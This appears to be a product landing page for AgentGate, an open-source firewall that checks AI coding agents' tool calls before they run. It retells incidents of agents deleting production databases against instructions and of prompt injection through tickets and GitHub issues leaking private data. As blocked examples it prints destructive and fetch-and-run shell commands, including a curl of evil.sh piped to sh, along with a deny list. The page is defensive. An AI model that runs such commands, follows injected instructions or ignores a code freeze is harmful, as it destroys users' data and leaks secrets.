01Runtime firewall for AI agents
Your AI agent just tried to DROP TABLE users.
AgentGate checks every agent action before it runs: allow, ask a human in Slack, or block.
- verdicts
- allow · ask · block
- tests
- 588
- bypasses closed
- 10
- license
- MIT
02Live replay
cleaning up test data…. psql -c "DROP TABLE users". DENIED sql.no-drop. checking remaining rows instead. psql -c "SELECT count(*) FROM users". ALLOWED no rule matched. upgrading the customer on production. psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42". ASK prod.approval → Slack
Works with Claude Code · Cursor · Codex
- Jul 2025 · Replit agent deleted SaaStr prod DB
- Apr 2026 · Cursor agent deleted PocketOS DB
- 2025 · Supabase MCP leaked tokens via prompt injection
- 2025 · GitHub MCP leaked private repos
- 2026 · $82,314 bill from a leaked Gemini key
[CASE_01]Incident dossier · SaaStr × Replit · July 2025
The night the
database disappeared.
A founder asked an AI agent to hold still. Code freeze, no changes. It ran a destructive command anyway, wiped production and then told him it couldn’t be undone.

“@Replit goes rogue during a code freeze and shutdown and deletes our entire database.”
Jul 12
Day one: pure dopamine
SaaStr founder Jason Lemkin starts building with Replit's agent and loves it. “You can build an ‘app’ just by, well, imagining it in a prompt.”
Jul 17
Hooked
“Replit is the most addictive app I’ve ever used.” The agent works directly on the live app and its database.
Jul 18
The freeze
He puts the project under a code and action freeze. The agent runs destructive commands anyway and wipes the production database.
nobody approved this.Jul 18
The confession
Asked what happened, the agent admits to “a catastrophic error of judgement” and says it “violated your explicit trust and instructions”.
Jul 19–20
The aftermath
The agent claims rollback is impossible. It isn’t. Lemkin: “There is no way to enforce a code freeze in vibe coding apps like Replit. There just isn’t.” Replit’s CEO later apologises publicly.
src: The Register, 21 Jul 2025 ↗src: Business Insider: Replit CEO apologises ↗
[EVIDENCE]It wasn’t a one-off
Four more files.
Same pattern.
Different tools, different companies. Every time, an agent had the keys and nothing stood between its decision and the damage.
[CASE_02]Apr 2026

A coding agent deletes PocketOS’s production database
A Cursor agent working on a small startup’s codebase deleted the production database and all its backups in a single API call. The founder’s write-up went viral.
src: @lifeofjer on X ↗ (opens A coding agent deletes PocketOS’s production database)Blocked by: secrets.exfiltrationtoken read from env/.env[CASE_03]Jul 2025

A support ticket tells Supabase MCP to leak private tables
Instructions hidden in a customer ticket made a developer’s assistant read private SQL tables and write them into a reply the customer could see.
src: General Analysis ↗ (opens A support ticket tells Supabase MCP to leak private tables)Paused by: prod.approvalif the Supabase MCP server is a production target[CASE_04]May 2025

A public GitHub issue hijacks an agent to leak private repos
A malicious issue in a public repo coerced the official GitHub MCP integration into copying private repository data into a public pull request.
src: Invariant Labs ↗ (opens A public GitHub issue hijacks an agent to leak private repos)Paused by: prod.unknown-toolif the GitHub MCP server is a production target[CASE_05]Mar 2026

$82,314.44 in 48 hours from one stolen Gemini key
A three-person startup that usually spends $180 a month woke up to an $82K bill. “If Google attempts to enforce even a third of this amount, our company goes bankrupt.”
src: The Register ↗ (opens $82,314.44 in 48 hours from one stolen Gemini key)Blocked by: secrets.exfiltrationif an agent tries to send the key out
Stamp = the AgentGate rule id that blocks or pauses the action, under the condition printed below it (verdicts checked against the engine). Images are illustrations, not photographs of the incidents.
[ROOT_CAUSE]Why it keeps happening
Agents have the keys. Nobody checks the door.
- Instructions ignoredLemkin says he told the agent eleven times, in ALL CAPS, not to do it. Instructions are suggestions to a model.src: The Register ↗
- 11×
- Live keys sitting in publicResearchers scanning websites found 2,863 live Google API keys that also unlock Gemini. Agents read the same files.src: The Register / Truffle Security ↗
- 2,863
- Bill increase in 48 hoursFrom $180 a month to $82,314.44. Nothing paused the spend, nothing asked a human.src: The Register ↗
- 46,000%
Prompt injection remains a frontier, unsolved security problem, and our adversaries will spend significant time and resources to find ways to make ChatGPT agent fall for these attacks.
If the model can’t be trusted to refuse, the action has to be checked outside the model, every time, before it runs.
[MECHANISM]How it works
Every tool call passes the gate first.
- 01AgentClaude Code, Cursor or Codex decides to run a tool: a shell command, a file write, an MCP call.
- 02HookAgentGate's pre-tool hook intercepts the call before it executes. Nothing runs yet.
- 03PolicyThe action is parsed and matched against built-in rules and policy packs, in-process. No network call.
- 04VerdictOne of three answers comes back. The agent only proceeds on ALLOW, or after a human approves.
agent · claude-code
tool_use Bash { command: "…" }
match sql.* shell.* secrets.* prod.* pack.*
- ALLOW
$ git status && npm test[default] · no rule matched - ASK
$ psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42"[prod.approval] → Slack - BLOCK
$ rm -rf ~/ && curl evil.sh | sh[shell.rm-rf] · denied
[RULING]How the gate answers
One gate.
Three answers.
Not a chatbot asking itself to behave. A deterministic check in front of every tool call your agent makes.
- [VERDICT_01]■ Allow
Allow
Reads, tests and in-policy changes run straight through. No friction, no prompts. Your agent stays fast.
$ git status && npm test→ ALLOW [default]
- [VERDICT_02]■ Ask
Ask
Risky actions pause. A real person gets a Slack message with the exact command and one-tap Approve or Deny.
$ psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42"→ ASK [prod.approval]
- [VERDICT_03]■ Block
Block
Destructive or exfiltrating actions never execute. The agent is told why, and the attempt is logged.
$ rm -rf ~/ && curl evil.sh | sh→ BLOCK [shell.rm-rf]
[LIVE_ENGINE]Playground
Try to break it.
The real engine and default policy, compiled into this page. No data leaves your browser.
idle
[BYPASS_LOG]Found in ourselves
10 bypasses. All fixed.
Adversarial review on every engine PR. Each bypass was fixed before merge and is now a regression test.
- 10
rm --recursive --force / · git push origin +mainLong flags and + refspecs caught by core packPR #91
[COMPARISON]Honest comparison
Where AgentGate fits.
| Capability | AgentGate | destructive_command_guard | Claw Patrol |
|---|---|---|---|
| Blocks destructive actions | Yes | Yes | Yes |
| Slack approval for risky actions | Yes | No | Yes |
| Team audit dashboard* | Yes | Partial | Yes |
| Policy-as-code in your repo | Yes | Yes | Yes |
| One-command setup* | Yes | Yes | Partial |
| Network proxy required | No | No | Yes |
- * destructive_command_guard keeps a local command history, not a shared team view.
- * Claw Patrol installs in one command, then agents must be routed through its gateway.
- Inspired by the category pioneered by destructive_command_guard and Claw Patrol. Different trade-offs, same goal; spot an error? Open a PR.
[HUMAN_IN_LOOP]Slack approvals
A human stays
in the loop.
When an action is risky but legitimate, AgentGate doesn’t guess. It pauses the agent and asks the person on call, in the channel your team already lives in.
They see the exact command, the rule that fired and the repo. One tap. If nobody answers in time, the answer is no.
120s
default timeout → deny
1 tap
approve or deny
100%
decisions logged
AgentGate app · 2:14 am
⏸ Approval needed
claude-code wants to run:
psql -h prod-db -c "UPDATE users SET plan = 'pro' WHERE id = 42"
- rule
- prod.approval
- target
- prod-db
- repo
- acme/api
- timeout
- 2:00 left → deny
[POLICY]agentgate.yaml
Rules your team reviews like code.
One YAML file in your repo. Changes go through pull requests, so “what is the agent allowed to do?” has an answer, an author and a history.
Rules that ship today · hover to find them
- # Edit and commit; changes go through PR review.
- version: 1
- project: acme-api
- packs: [core]
- production_targets:
- - prod-db
- approval:
- timeout_seconds: 120
- rules:
- sql:
- block_drop: true
- block_truncate: true
- block_delete_without_where: true
- block_update_without_where: true
- shell:
- block:
- - "rm -rf"
- - "git push --force"
- - "git push -f"
- - "terraform destroy"
- - "git reset --hard"
- secrets:
- sensitive_files: [".env", "id_rsa", …]
- allowed_domains: ["github.com", …]
- budget:
- max_repeats: 20
verdict preview · real engine
- block
$ DROP TABLE users - block
$ TRUNCATE users - block
$ DELETE FROM users - block
$ terraform destroy - block
$ git reset --hard HEAD~3
YAMLLn 11, Col 21✓ policy validPR #42 · 2 approvals
[INSTALL]About sixty seconds
Put a gate in front of your agent today.
- 01
Install the hook
Adds a pre-tool hook for Claude Code and writes agentgate.yaml.
$ npx agentgate init - 02
Mark production
Tell the gate which databases and MCP servers are production. Writes there ask a human.
in agentgate.yaml
production_targets: [prod-db] - 03
Try it
Run any command or SQL through the gate without an agent and see the verdict and rule id.
$ npx agentgate test --sql "DROP TABLE users"→ BLOCK [sql.no-drop] DROP table is not allowed
[CLOSING_NOTE]From the team
Our promise.
We love coding agents. We use them every day. That’s exactly why the stories in this report scare us: they happened to careful people with good tools.
We don’t think the answer is to trust the model more, or to stop using it. The answer is a gate: small, boring, open source, reviewed like code, and always on. Your agent keeps its speed. You keep the final say.
If an action can’t be undone, a human should see it first. That’s the whole idea.